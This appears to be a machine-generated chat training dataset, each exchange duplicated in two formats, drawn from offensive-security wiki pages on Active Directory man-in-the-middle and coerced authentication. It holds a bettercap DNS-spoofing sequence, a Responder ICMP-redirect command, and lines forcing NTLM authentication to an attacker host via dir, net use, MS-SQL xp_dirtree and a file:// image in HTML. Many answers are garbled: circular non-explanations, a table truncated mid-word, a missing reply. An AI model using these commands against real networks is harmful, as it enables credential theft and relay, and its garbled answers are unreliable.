set dns.spoof.domains $DOMAIN_FQDN
set dns.spoof.all true
dns.spoof on


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for DNS spoofing - Practice

[Assistant]
set dns.spoof.domains $DOMAIN_FQDN
set dns.spoof.all true
dns.spoof on

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for DNS spoofing - Practice

Response:
set dns.spoof.domains $DOMAIN_FQDN
set dns.spoof.all true
dns.spoof on


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `set dns.spoof.domains $DOMAIN_FQDN`?

[Assistant] This command is used for dns spoofing - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `set dns.spoof.domains $DOMAIN_FQDN`?

Response: This command is used for dns spoofing - practice. Practice


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe 🛠 ICMP Redirect in the context of penetration testing

[Assistant]
``bash
python3 tools/Icmp-Redirect.py --interface eth0 --ip $my_ip --gateway $gateway --target $target --route $dnsserver1 --secondaryroute $dnsserver2
``

need iptable

https://www.cisco.com/c/en/us/support/docs/ios-nx-os-software/nx-os-software/213841-understanding-icmp-redirect-messages.html

Responder/tools/ICMP_Redirect.py

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe 🛠 ICMP Redirect in the context of penetration testing

Response:
``bash
python3 tools/Icmp-Redirect.py --interface eth0 --ip $my_ip --gateway $gateway --target $target --route $dnsserver1 --secondaryroute $dnsserver2
``

need iptable

https://www.cisco.com/c/en/us/support/docs/ios-nx-os-software/nx-os-software/213841-understanding-icmp-redirect-messages.html

Responder/tools/ICMP_Redirect.py


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out 🛠 ICMP Redirect during a pentest?

[Assistant]
``bash
python3 tools/Icmp-Redirect.py --interface eth0 --ip $my_ip --gateway $gateway --target $target --route $dnsserver1 --secondaryroute $dnsserver2
``

need iptable

https://www.cisco.com/c/en/us/support/docs/ios-nx-os-software/nx-os-software/213841-understanding-icmp-redirect-messages.html

Responder/tools/ICMP_Redirect.py

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out 🛠 ICMP Redirect during a pentest?

Response:
``bash
python3 tools/Icmp-Redirect.py --interface eth0 --ip $my_ip --gateway $gateway --target $target --route $dnsserver1 --secondaryroute $dnsserver2
``

need iptable

https://www.cisco.com/c/en/us/support/docs/ios-nx-os-software/nx-os-software/213841-understanding-icmp-redirect-messages.html

Responder/tools/ICMP_Redirect.py


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the python3 command to 🛠 icmp redirect

[Assistant] python3 tools/Icmp-Redirect.py --interface eth0 --ip $my_ip --gateway $gateway --target $target --route $dnsserver1 --secondaryroute $dnsserver2

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the python3 command to 🛠 icmp redirect

Response: python3 tools/Icmp-Redirect.py --interface eth0 --ip $my_ip --gateway $gateway --target $target --route $dnsserver1 --secondaryroute $dnsserver2


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do 🛠 ICMP Redirect

[Assistant] python3 tools/Icmp-Redirect.py --interface eth0 --ip $my_ip --gateway $gateway --target $target --route $dnsserver1 --secondaryroute $dnsserver2

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: python3 tools/Icmp-Redirect.py --interface eth0 --ip $my_ip --gateway $gateway --target $target --route $dnsserver1 --secondaryroute $dnsserver2


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `python3 tools/Icmp-Redirect.py --interface eth0 --ip $my_ip --gateway $gateway --target $target --route $dnsserver1 --secondaryroute $dnsserver2`?

[Assistant] This command is used for 🛠 icmp redirect. 🛠 ICMP Redirect

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `python3 tools/Icmp-Redirect.py --interface eth0 --ip $my_ip --gateway $gateway --target $target --route $dnsserver1 --secondaryroute $dnsserver2`?

Response: This command is used for 🛠 icmp redirect. 🛠 ICMP Redirect


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of MITM and coerced auths

[Assistant]
In Active Directory domains, attackers often rely on coerced authentications and MitM (man in the middle) techniques to operate lateral movement, especially when attempting authentication relaying attacks (e.g. NTLM relay or Kerberos relay), or when abusing Kerberos delegations.

These techniques enable attackers to redirect traffic or redirect/force targets authentications. Attackers will then be able, in certain cases, to capture credentials or relay authentications. I'm using "coerce" instead of "force" in this category's title since some technique can rely on a bit of social engineering to work.

There are many ways attackers can do MitM or redirect/force targets authentications, most of which can be combined for maximum impact (and minimum stealth).

> [!WARNING]
> This page is a work-in-progress

| MITM Technique | ADIDNS | LLMNR | NBNS | DHCPv6 | ARP | DNS | WPAD | PrinterBug | PrivExchange |
| --------------------------------------------------------------------- | -------------------------- | ------------------------------------ | ------------------------------------ | --------------------------- | ------------------------------------------------------------------ | ---------------------- | ------------------------ | ------------------------ | -------------------------------- |
| Can require waiting for replication/syncing | x | | | | | | | | |
| Easy to start and stop attacks | | x | x | takes \~5 minutes to revert | revert time depends on targets arp cache timeout (usually \~60 sec | x | x | x | x |
| Exploitable when default settings are present | x | x | x | x | x | x | x | x | up to 2019 |
| Impacts fully qualified name requests | x | not if wildcard ADIDNS record exists | not if wildcard ADIDNS record exists | x | | x | | | |
| Requires constant network traffic for spoofing | | x | x | x | x | x | x | | |
| Requires domain credentials | x | | | | | | | x | requires emails-capable account |
| Requires editing AD | x | | | | | | | | |
| Requires privileg

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of MITM and coerced auths

Response:
In Active Directory domains, attackers often rely on coerced authentications and MitM (man in the middle) techniques to operate lateral movement, especially when attempting authentication relaying attacks (e.g. NTLM relay or Kerberos relay), or when abusing Kerberos delegations.

These techniques enable attackers to redirect traffic or redirect/force targets authentications. Attackers will then be able, in certain cases, to capture credentials or relay authentications. I'm using "coerce" instead of "force" in this category's title since some technique can rely on a bit of social engineering to work.

There are many ways attackers can do MitM or redirect/force targets authentications, most of which can be combined for maximum impact (and minimum stealth).

> [!WARNING]
> This page is a work-in-progress

| MITM Technique | ADIDNS | LLMNR | NBNS | DHCPv6 | ARP | DNS | WPAD | PrinterBug | PrivExchange |
| --------------------------------------------------------------------- | -------------------------- | ------------------------------------ | ------------------------------------ | --------------------------- | ------------------------------------------------------------------ | ---------------------- | ------------------------ | ------------------------ | -------------------------------- |
| Can require waiting for replication/syncing | x | | | | | | | | |
| Easy to start and stop attacks | | x | x | takes \~5 minutes to revert | revert time depends on targets arp cache timeout (usually \~60 sec | x | x | x | x |
| Exploitable when default settings are present | x | x | x | x | x | x | x | x | up to 2019 |
| Impacts fully qualified name requests | x | not if wildcard ADIDNS record exists | not if wildcard ADIDNS record exists | x | | x | | | |
| Requires constant network traffic for spoofing | | x | x | x | x | x | x | | |
| Requires domain credentials | x | | | | | | | x | requires emails-capable account |
| Requires editing AD | x | | | | | | | | |
| Requires privileg


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on MITM and coerced auths

[Assistant]
In Active Directory domains, attackers often rely on coerced authentications and MitM (man in the middle) techniques to operate lateral movement, especially when attempting authentication relaying attacks (e.g. NTLM relay or Kerberos relay), or when abusing Kerberos delegations.

These techniques enable attackers to redirect traffic or redirect/force targets authentications. Attackers will then be able, in certain cases, to capture credentials or relay authentications. I'm using "coerce" instead of "force" in this category's title since some technique can rely on a bit of social engineering to work.

There are many ways attackers can do MitM or redirect/force targets authentications, most of which can be combined for maximum impact (and minimum stealth).

> [!WARNING]
> This page is a work-in-progress

| MITM Technique | ADIDNS | LLMNR | NBNS | DHCPv6 | ARP | DNS | WPAD | PrinterBug | PrivExchange |
| --------------------------------------------------------------------- | -------------------------- | ------------------------------------ | ------------------------------------ | --------------------------- | ------------------------------------------------------------------ | ---------------------- | ------------------------ | ------------------------ | -------------------------------- |
| Can require waiting for replication/syncing | x | | | | | | | | |
| Easy to start and stop attacks | | x | x | takes \~5 minutes to revert | revert time depends on targets arp cache timeout (usually \~60 sec | x | x | x | x |
| Exploitable when default settings are present | x | x | x | x | x | x | x | x | up to 2019 |
| Impacts fully qualified name requests | x | not if wildcard ADIDNS record exists | not if wildcard ADIDNS record exists | x | | x | | | |
| Requires constant network traffic for spoofing | | x | x | x | x | x | x | | |
| Requires domain credentials | x | | | | | | | x | requires emails-capable account |
| Requires editing AD | x | | | | | | | | |
| Requires privileg

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on MITM and coerced auths

Response:
In Active Directory domains, attackers often rely on coerced authentications and MitM (man in the middle) techniques to operate lateral movement, especially when attempting authentication relaying attacks (e.g. NTLM relay or Kerberos relay), or when abusing Kerberos delegations.

These techniques enable attackers to redirect traffic or redirect/force targets authentications. Attackers will then be able, in certain cases, to capture credentials or relay authentications. I'm using "coerce" instead of "force" in this category's title since some technique can rely on a bit of social engineering to work.

There are many ways attackers can do MitM or redirect/force targets authentications, most of which can be combined for maximum impact (and minimum stealth).

> [!WARNING]
> This page is a work-in-progress

| MITM Technique | ADIDNS | LLMNR | NBNS | DHCPv6 | ARP | DNS | WPAD | PrinterBug | PrivExchange |
| --------------------------------------------------------------------- | -------------------------- | ------------------------------------ | ------------------------------------ | --------------------------- | ------------------------------------------------------------------ | ---------------------- | ------------------------ | ------------------------ | -------------------------------- |
| Can require waiting for replication/syncing | x | | | | | | | | |
| Easy to start and stop attacks | | x | x | takes \~5 minutes to revert | revert time depends on targets arp cache timeout (usually \~60 sec | x | x | x | x |
| Exploitable when default settings are present | x | x | x | x | x | x | x | x | up to 2019 |
| Impacts fully qualified name requests | x | not if wildcard ADIDNS record exists | not if wildcard ADIDNS record exists | x | | x | | | |
| Requires constant network traffic for spoofing | | x | x | x | x | x | x | | |
| Requires domain credentials | x | | | | | | | x | requires emails-capable account |
| Requires editing AD | x | | | | | | | | |
| Requires privileg


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about 🛠 Living off the land?

[Assistant]
> [!WARNING]
> This is a work-in-progress. It's indicated with the 🛠 emoji in the page name or in the category name

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about 🛠 Living off the land?

Response:
> [!WARNING]
> This is a work-in-progress. It's indicated with the 🛠 emoji in the page name or in the category name


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on 🛠 Living off the land

[Assistant]
> [!WARNING]
> This is a work-in-progress. It's indicated with the 🛠 emoji in the page name or in the category name

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on 🛠 Living off the land

Response:
> [!WARNING]
> This is a work-in-progress. It's indicated with the 🛠 emoji in the page name or in the category name


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain 🛠 Living off the land - Theory

[Assistant]
> In the physical world, “living off the land” simply means to survive only by the resources that you can harvest from the natural land. There may be multiple reasons for doing this — perhaps you want to get “off the grid,” or maybe you have something or someone to hide from. Or maybe you just like the challenge of being self-sufficient.
>
> In the technology world, “living off the land” (LotL) refers to attacker behavior that uses tools or features that already exist in the target environment. (source)

There are multiple "living off the land" techniques that can be used to force authentications, to capture hashes, or to relay authentications. In order to use those techniques, testers need to have an initial access to "the land", i.e. the tools or features the technique uses.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
> In the physical world, “living off the land” simply means to survive only by the resources that you can harvest from the natural land. There may be multiple reasons for doing this — perhaps you want to get “off the grid,” or maybe you have something or someone to hide from. Or maybe you just like the challenge of being self-sufficient.
>
> In the technology world, “living off the land” (LotL) refers to attacker behavior that uses tools or features that already exist in the target environment. (source)

There are multiple "living off the land" techniques that can be used to force authentications, to capture hashes, or to relay authentications. In order to use those techniques, testers need to have an initial access to "the land", i.e. the tools or features the technique uses.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute 🛠 Living off the land - Theory?

[Assistant]
> In the physical world, “living off the land” simply means to survive only by the resources that you can harvest from the natural land. There may be multiple reasons for doing this — perhaps you want to get “off the grid,” or maybe you have something or someone to hide from. Or maybe you just like the challenge of being self-sufficient.
>
> In the technology world, “living off the land” (LotL) refers to attacker behavior that uses tools or features that already exist in the target environment. (source)

There are multiple "living off the land" techniques that can be used to force authentications, to capture hashes, or to relay authentications. In order to use those techniques, testers need to have an initial access to "the land", i.e. the tools or features the technique uses.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute 🛠 Living off the land - Theory?

Response:
> In the physical world, “living off the land” simply means to survive only by the resources that you can harvest from the natural land. There may be multiple reasons for doing this — perhaps you want to get “off the grid,” or maybe you have something or someone to hide from. Or maybe you just like the challenge of being self-sufficient.
>
> In the technology world, “living off the land” (LotL) refers to attacker behavior that uses tools or features that already exist in the target environment. (source)

There are multiple "living off the land" techniques that can be used to force authentications, to capture hashes, or to relay authentications. In order to use those techniques, testers need to have an initial access to "the land", i.e. the tools or features the technique uses.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of 🛠 Living off the land - Practice

[Assistant] Those techniques will usually generate outgoing traffic on SMB or HTTP, hence requiring the attacker to set up an SMB or HTTP server to capture or relay the authentication (e.g. using tools like Responder (Python), Inveigh (Powershell), ntlmrelayx (Python) or Inveigh-Relay (Powershell)).

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of 🛠 Living off the land - Practice

Response: Those techniques will usually generate outgoing traffic on SMB or HTTP, hence requiring the attacker to set up an SMB or HTTP server to capture or relay the authentication (e.g. using tools like Responder (Python), Inveigh (Powershell), ntlmrelayx (Python) or Inveigh-Relay (Powershell)).


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for 🛠 Living off the land - Practice?

[Assistant] Those techniques will usually generate outgoing traffic on SMB or HTTP, hence requiring the attacker to set up an SMB or HTTP server to capture or relay the authentication (e.g. using tools like Responder (Python), Inveigh (Powershell), ntlmrelayx (Python) or Inveigh-Relay (Powershell)).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for 🛠 Living off the land - Practice?

Response: Those techniques will usually generate outgoing traffic on SMB or HTTP, hence requiring the attacker to set up an SMB or HTTP server to capture or relay the authentication (e.g. using tools like Responder (Python), Inveigh (Powershell), ntlmrelayx (Python) or Inveigh-Relay (Powershell)).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of 🛠 Living off the land - Command execution

[Assistant]
On Windows machines, cmdlets like net or dir can be used to make the machine access a remote resource, hence making it authenticate. This leads to an outgoing traffic using SMB.

``bash
dir \\$ATTACKER_IP\something
net use \\$ATTACKER_IP\something
``

The rpcping command can also be used to trigger an authentication. The perk of this technique is that the auth won't carry a signing negotiation flag, hence allowing for relays

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of 🛠 Living off the land - Command execution

Response:
On Windows machines, cmdlets like net or dir can be used to make the machine access a remote resource, hence making it authenticate. This leads to an outgoing traffic using SMB.

``bash
dir \\$ATTACKER_IP\something
net use \\$ATTACKER_IP\something
``

The rpcping command can also be used to trigger an authentication. The perk of this technique is that the auth won't carry a signing negotiation flag, hence allowing for relays


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do 🛠 Living off the land - Command execution

[Assistant]
On Windows machines, cmdlets like net or dir can be used to make the machine access a remote resource, hence making it authenticate. This leads to an outgoing traffic using SMB.

``bash
dir \\$ATTACKER_IP\something
net use \\$ATTACKER_IP\something
``

The rpcping command can also be used to trigger an authentication. The perk of this technique is that the auth won't carry a signing negotiation flag, hence allowing for relays

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do 🛠 Living off the land - Command execution

Response:
On Windows machines, cmdlets like net or dir can be used to make the machine access a remote resource, hence making it authenticate. This leads to an outgoing traffic using SMB.

``bash
dir \\$ATTACKER_IP\something
net use \\$ATTACKER_IP\something
``

The rpcping command can also be used to trigger an authentication. The perk of this technique is that the auth won't carry a signing negotiation flag, hence allowing for relays


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use dir for 🛠 living off the land - command execution?

[Assistant]
dir \\$ATTACKER_IP\something
net use \\$ATTACKER_IP\something

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

How do I use dir for 🛠 living off the land - command execution?

Response:
dir \\$ATTACKER_IP\something
net use \\$ATTACKER_IP\something


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out 🛠 Living off the land - Command execution during a pentest?

[Assistant]
dir \\$ATTACKER_IP\something
net use \\$ATTACKER_IP\something

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out 🛠 Living off the land - Command execution during a pentest?

Response:
dir \\$ATTACKER_IP\something
net use \\$ATTACKER_IP\something


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `dir \\$ATTACKER_IP\something`?

[Assistant] This command is used for 🛠 living off the land - command execution. Command execution

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `dir \\$ATTACKER_IP\something`?

Response: This command is used for 🛠 living off the land - command execution. Command execution


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of 🛠 Living off the land - MS-SQL queries execution

[Assistant]
On MS-SQL (Microsoft SQL) servers, the EXEC method can be used to access a remote SMB share. This leads to an outgoing traffic using SMB.

``bash
EXEC master.sys.xp_dirtree '\\$ATTACKER_IP\something',1,1
``

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of 🛠 Living off the land - MS-SQL queries execution

Response:
On MS-SQL (Microsoft SQL) servers, the EXEC method can be used to access a remote SMB share. This leads to an outgoing traffic using SMB.

``bash
EXEC master.sys.xp_dirtree '\\$ATTACKER_IP\something',1,1
``


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for 🛠 Living off the land - MS-SQL queries execution

[Assistant]
On MS-SQL (Microsoft SQL) servers, the EXEC method can be used to access a remote SMB share. This leads to an outgoing traffic using SMB.

``bash
EXEC master.sys.xp_dirtree '\\$ATTACKER_IP\something',1,1
``

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for 🛠 Living off the land - MS-SQL queries execution

Response:
On MS-SQL (Microsoft SQL) servers, the EXEC method can be used to access a remote SMB share. This leads to an outgoing traffic using SMB.

``bash
EXEC master.sys.xp_dirtree '\\$ATTACKER_IP\something',1,1
``


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use EXEC for 🛠 living off the land - ms-sql queries execution?

[Assistant] EXEC master.sys.xp_dirtree '\\$ATTACKER_IP\something',1,1

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

How do I use EXEC for 🛠 living off the land - ms-sql queries execution?

Response: EXEC master.sys.xp_dirtree '\\$ATTACKER_IP\something',1,1


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through 🛠 Living off the land - MS-SQL queries execution

[Assistant] EXEC master.sys.xp_dirtree '\\$ATTACKER_IP\something',1,1

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through 🛠 Living off the land - MS-SQL queries execution

Response: EXEC master.sys.xp_dirtree '\\$ATTACKER_IP\something',1,1


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `EXEC master.sys.xp_dirtree '\\$ATTACKER_IP\something',1,1`?

[Assistant] This command is used for 🛠 living off the land - ms-sql queries execution. MS-SQL queries execution

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `EXEC master.sys.xp_dirtree '\\$ATTACKER_IP\something',1,1`?

Response: This command is used for 🛠 living off the land - ms-sql queries execution. MS-SQL queries execution


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does 🛠 Living off the land - File explorer work?

[Assistant] On Windows machines, the file explorer can be used to access remote resources like SMB shares by supplying its UNC path (i.e. \\$ATTACKER_IP\something) in the research bar. This leads to an outgoing traffic using SMB.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does 🛠 Living off the land - File explorer work?

Response: On Windows machines, the file explorer can be used to access remote resources like SMB shares by supplying its UNC path (i.e. \\$ATTACKER_IP\something) in the research bar. This leads to an outgoing traffic using SMB.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through 🛠 Living off the land - File explorer

[Assistant] On Windows machines, the file explorer can be used to access remote resources like SMB shares by supplying its UNC path (i.e. \\$ATTACKER_IP\something) in the research bar. This leads to an outgoing traffic using SMB.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through 🛠 Living off the land - File explorer

Response: On Windows machines, the file explorer can be used to access remote resources like SMB shares by supplying its UNC path (i.e. \\$ATTACKER_IP\something) in the research bar. This leads to an outgoing traffic using SMB.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of 🛠 Living off the land - Internet browser

[Assistant] Internet browsers can access HTTP servers by supplying their URL (i.e. http://$IP:$PORT/something) in the research bar. This technique is rarely used as it can pop up a prompt. This leads to an outgoing traffic using HTTP.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of 🛠 Living off the land - Internet browser

Response: Internet browsers can access HTTP servers by supplying their URL (i.e. http://$IP:$PORT/something) in the research bar. This technique is rarely used as it can pop up a prompt. This leads to an outgoing traffic using HTTP.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for 🛠 Living off the land - Internet browser?

[Assistant] Internet browsers can access HTTP servers by supplying their URL (i.e. http://$IP:$PORT/something) in the research bar. This technique is rarely used as it can pop up a prompt. This leads to an outgoing traffic using HTTP.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for 🛠 Living off the land - Internet browser?

Response: Internet browsers can access HTTP servers by supplying their URL (i.e. http://$IP:$PORT/something) in the research bar. This technique is rarely used as it can pop up a prompt. This leads to an outgoing traffic using HTTP.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does 🛠 Living off the land - HTML documents / XSS work?

[Assistant]
HTML documents can be crafted (or injected with content when successfully exploiting an HTML injection attack such as an Cross-Site Scripting) in way that could make browsers authenticate when accessing a remote resource. This leads to an outgoing traffic using SMB.

``
![](file://$ATTACKER_IP/something/something.png)
``

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does 🛠 Living off the land - HTML documents / XSS work?

Response:
HTML documents can be crafted (or injected with content when successfully exploiting an HTML injection attack such as an Cross-Site Scripting) in way that could make browsers authenticate when accessing a remote resource. This leads to an outgoing traffic using SMB.

``
![](file://$ATTACKER_IP/something/something.png)
``


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out 🛠 Living off the land - HTML documents / XSS during a pentest?

[Assistant]
HTML documents can be crafted (or injected with content when successfully exploiting an HTML injection attack such as an Cross-Site Scripting) in way that could make browsers authenticate when accessing a remote resource. This leads to an outgoing traffic using SMB.

``
![](file://$ATTACKER_IP/something/something.png)
``

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out 🛠 Living off the land - HTML documents / XSS during a pentest?

Response:
HTML documents can be crafted (or injected with content when successfully exploiting an HTML injection attack such as an Cross-Site Scripting) in way that could make browsers authenticate when accessing a remote resource. This leads to an outgoing traffic using SMB.

``
![](file://$ATTACKER_IP/something/something.png)
``


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for 🛠 Living off the land - HTML documents / XSS?

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for 🛠 Living off the land - HTML documents / XSS?


